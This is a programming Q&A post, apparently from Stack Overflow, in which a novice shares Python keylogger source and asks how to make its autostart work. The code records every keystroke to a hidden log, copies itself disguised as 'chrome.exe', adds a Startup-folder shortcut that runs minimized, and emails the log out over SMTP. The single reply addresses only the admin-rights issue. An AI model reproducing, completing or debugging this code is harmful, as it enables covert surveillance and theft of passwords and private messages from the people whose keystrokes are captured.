-2

im new in coding, and I need some sort of help. I made simple "keylogger", using examples from Google. Everything is working well, but i don't know, how to auto add keylogger to autostart. I tried auto copy file, after first run with admin privileges, to selected destination, then send shortcut to autostart. But problem is that, every time I restart computer, its need admin privileges, so im only getting alert, about fail durning launching script, and script crashing in this moment. I think its because, script trying every time add file to autostart, even if one is already exist. Here is the code, as you can see, i tried ifexcept blocks, but it's still doesnt work like i want:(

import logging
from pynput.keyboard import Key, Listener

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import win32com.client
import pythoncom
import os

import pathlib
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True)

import shutil

srcfile = 'chrome.exe'
dstroot = 'C:\ProgramData\degid'
dstdir =  os.path.join(dstroot, os.path.dirname(srcfile))
shutil.copy(srcfile, dstdir)

filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'

if os.path.exists(filePath):
    if os.path.isfile(filePath+'chrome.lnk')==False:
        try:
            desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
            path = os.path.join(desktop, 'chrome.lnk')
            target = r'C:\ProgramData\degid\chrome.exe'
            shell = win32com.client.Dispatch("WScript.Shell")
            shortcut = shell.CreateShortCut(path)
            shortcut.Targetpath = target
            shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal
            shortcut.save()
        except:
            pass

email_user = ''
email_password = ''
email_send = ''

subject = ''

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Hi there'
msg.attach(MIMEText(body,'plain'))

filename='C:\ProgramData\degid\degid.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('', 587)
server.starttls()
server.login(email_user,email_password)

server.sendmail(email_user,email_send,text)
server.quit()

log_dir =""

logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
Cris
  • 1
  • 1

1 Answers1

1

You are accessing directories and try to see if a file exists that need admin prevs to access - even for reading the directory.

Patrick Artner
  • 50,409
  • 9
  • 43
  • 69